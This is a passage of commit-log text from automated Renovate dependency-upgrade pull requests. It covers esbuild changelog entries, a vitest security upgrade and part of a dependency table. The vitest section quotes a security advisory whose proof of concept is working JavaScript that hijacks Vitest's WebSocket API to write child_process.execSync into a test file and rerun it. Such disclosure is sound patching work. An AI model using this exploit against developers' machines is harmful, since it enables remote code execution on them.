Thanks to [@​sapphi-red](https://redirect.github.com/sapphi-red ) for reporting this issue.
- Delete output files when a build fails in watch mode ([#​3643](https://redirect.github.com/evanw/esbuild/issues/3643 ))
It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.
- Fix correctness issues with the CSS nesting transform ([#​3620](https://redirect.github.com/evanw/esbuild/issues/3620 ), [#​3877](https://redirect.github.com/evanw/esbuild/issues/3877 ), [#​3933](https://redirect.github.com/evanw/esbuild/issues/3933 ), [#​3997](https://redirect.github.com/evanw/esbuild/issues/3997 ), [#​4005](https://redirect.github.com/evanw/esbuild/issues/4005 ), [#​4037](https://redirect.github.com/evanw/esbuild/pull/4037 ), [#​4038](https://redirect.github.com/evanw/esbuild/pull/4038 ))
This release fixes the following problems:
- Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.
```css
/* Original code */
.parent {
> .a,
> .b1 > .b2 {
color: red;
}
}
/* Old output (with --supported:nesting=false) */
.parent > :is(.a, .b1 > .b2) {
color: red;
}
/* New output (with --supported:nesting=false) */
.parent > .a,
.parent > .b1 > .b2 {
color: red;
}
```
Thanks to [@​tim-we](https://redirect.github.com/tim-we ) for working on a fix.
- The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:
```css
/* Original code (color should be red) */
div {
&& { color: red }
& { color: blue }
}
/* Old output (with --supported:nesting=false) */
div {
color: red;
}
div {
color: blue;
}
/* New output (with --supported:nesting=false) */
div:is(div) {
color: red;
}
div {
color: blue;
}
```
Thanks to [@​CPunisher](https://redirect.github.com/CPunisher ) for working on a fix.
- Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.
```css
/* Original code */
a b:has(> span) {
a & {
color: green;
}
}
/* Old output (with --supported:nesting=false) */
a :is(a b:has(span)) {
color: green;
}
/* New output (with --supported:nesting=false) */
a :is(a b:has(> span)) {
color: green;
}
```
This fix was contributed by [@​NoremacNergfol](https://redirect.github.com/NoremacNergfol ).
- The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:
```css
/* Original code */
.a {
& .b { color: red }
:where(& .b) { color: blue }
}
/* Old output (with --minify) */
.a{.b{color:red}:where(.b){color:#​00f}}
/* New output (with --minify) */
.a{.b{color:red}:where(& .b){color:#​00f}}
```
- Fix some correctness issues with source maps ([#​1745](https://redirect.github.com/evanw/esbuild/issues/1745 ), [#​3183](https://redirect.github.com/evanw/esbuild/issues/3183 ), [#​3613](https://redirect.github.com/evanw/esbuild/issues/3613 ), [#​3982](https://redirect.github.com/evanw/esbuild/issues/3982 ))
Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:
- File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.
- Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.
- Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/ ). Many thanks to those who worked on the specification.
- Fix incorrect package for `@esbuild/netbsd-arm64` ([#​4018](https://redirect.github.com/evanw/esbuild/issues/4018 ))
Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.
- Fix a minification bug with bitwise operators and bigints ([#​4065](https://redirect.github.com/evanw/esbuild/issues/4065 ))
This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:
```js
// Original code
if ((a & b) !== 0) found = true
// Old output (with --minify)
a&b&&(found=!0);
// New output (with --minify)
(a&b)!==0&&(found=!0);
```
- Fix esbuild incorrectly rejecting valid TypeScript edge case ([#​4027](https://redirect.github.com/evanw/esbuild/issues/4027 ))
The following TypeScript code is valid:
```ts
export function open(async?: boolean): void {
console.log(async as boolean)
}
```
Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.
- Transform BigInt values into constructor calls when unsupported ([#​4049](https://redirect.github.com/evanw/esbuild/issues/4049 ))
Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.
However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer ) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.
- Change how `console` API dropping works ([#​4020](https://redirect.github.com/evanw/esbuild/issues/4020 ))
Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:
```js
// Original code
const x = console.log('x')
const y = console.log.call(console, 'y')
const z = console.log.bind(console)('z')
// Old output (with --drop-console)
const x = void 0;
const y = void 0;
const z = (void 0)("z");
// New output (with --drop-console)
const x = void 0;
const y = void 0;
const z = (() => {
}).bind(console)("z");
```
This should more closely match Terser's existing behavior.
- Allow BigInt literals as `define` values
With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.
- Fix a bug with resolve extensions in `node_modules` ([#​4053](https://redirect.github.com/evanw/esbuild/issues/4053 ))
The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.
- Better minification of statically-determined `switch` cases ([#​4028](https://redirect.github.com/evanw/esbuild/issues/4028 ))
With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:
```js
// Original code
switch (MODE) {
case 'dev':
installDevToolsConsole()
break
case 'prod':
return
default:
throw new Error
}
// Old output (with --minify '--define:MODE="prod"')
switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}
// New output (with --minify '--define:MODE="prod"')
return;
```
- Emit `/* @​__KEY__ */` for string literals derived from property names ([#​4034](https://redirect.github.com/evanw/esbuild/issues/4034 ))
Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/ ) have a convention where a `/* @​__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @​__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.
However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @​__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).
With this release, esbuild will now generate `/* @​__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).
- The `text` loader now strips the UTF-8 BOM if present ([#​3935](https://redirect.github.com/evanw/esbuild/issues/3935 ))
Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.
- Omit legal comment output files when empty ([#​3670](https://redirect.github.com/evanw/esbuild/issues/3670 ))
Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.
- Update Go from 1.23.1 to 1.23.5 ([#​4056](https://redirect.github.com/evanw/esbuild/issues/4056 ), [#​4057](https://redirect.github.com/evanw/esbuild/pull/4057 ))
This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.
This PR was contributed by [@​MikeWillCook](https://redirect.github.com/MikeWillCook ).
- Allow passing a port of 0 to the development server ([#​3692](https://redirect.github.com/evanw/esbuild/issues/3692 ))
Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port ) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.
Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.
Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.
- Minification now avoids inlining constants with direct `eval` ([#​4055](https://redirect.github.com/evanw/esbuild/issues/4055 ))
Direct `eval` can be used to introduce a new variable like this:
```js
const variable = false
;(function () {
eval("var variable = true")
console.log(variable)
})()
```
Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 04:09:28 +00:00
renovate
75c4291325
chore: bump up vitest version to v3.0.5 [SECURITY] ( #9938 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
### GitHub Vulnerability Alerts
#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
### Details
When [`api` option](https://vitest.dev/config/#api ) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)
This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)
### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.
```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
```
### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.
---
### Release Notes
<details>
<summary>vitest-dev/vitest (vitest)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
##### 🐞 Bug Fixes
- Filter projects eagerly during config resolution - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7313 ](https://redirect.github.com/vitest-dev/vitest/issues/7313 ) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d )
- Apply `development|production` condition on Vites 6 by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) ([#​7301](https://redirect.github.com/vitest-dev/vitest/issues/7301 )) [<samp>(ef146)</samp>](ef1464fc7b )
- **browser**: Restrict served files from `/__screenshot-error` - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7340 ](https://redirect.github.com/vitest-dev/vitest/issues/7340 ) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7297 ](https://redirect.github.com/vitest-dev/vitest/issues/7297 ) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae )
- **runner**: Timeout long sync hook - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7289 ](https://redirect.github.com/vitest-dev/vitest/issues/7289 ) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c )
- **typechecking**: Support typechecking parsing with Vite 6 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7335 ](https://redirect.github.com/vitest-dev/vitest/issues/7335 ) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9 )
- **types**: Fix public types - by [@​mrginglymus](https://redirect.github.com/mrginglymus ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7328 ](https://redirect.github.com/vitest-dev/vitest/issues/7328 ) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4 )
### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
##### 🐞 Bug Fixes
- **browser**:
- Don't throw a validation error if v8 coverage is used with filtered instances - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7306 ](https://redirect.github.com/vitest-dev/vitest/issues/7306 ) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2 )
- Don't fail when running --browser.headless if the browser projest is part of the workspace - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [https://github.com/vitest-dev/vitest/issues/7311 ](https://redirect.github.com/vitest-dev/vitest/issues/7311 ) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56 )
##### 🏎 Performance
- **reporters**: Update summary only when needed - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7291 ](https://redirect.github.com/vitest-dev/vitest/issues/7291 ) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
renovate
27d2735a64
chore: bump up all non-major dependencies ( #8954 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3 ) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3 )) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3 ) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3 )) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react ) ([source](https://redirect.github.com/getsentry/sentry-javascript )) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react ) ([source](https://redirect.github.com/getsentry/sentry-javascript )) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node ) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node )) | [`20.17.8` -> `20.17.9`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.8/20.17.9 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul )) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
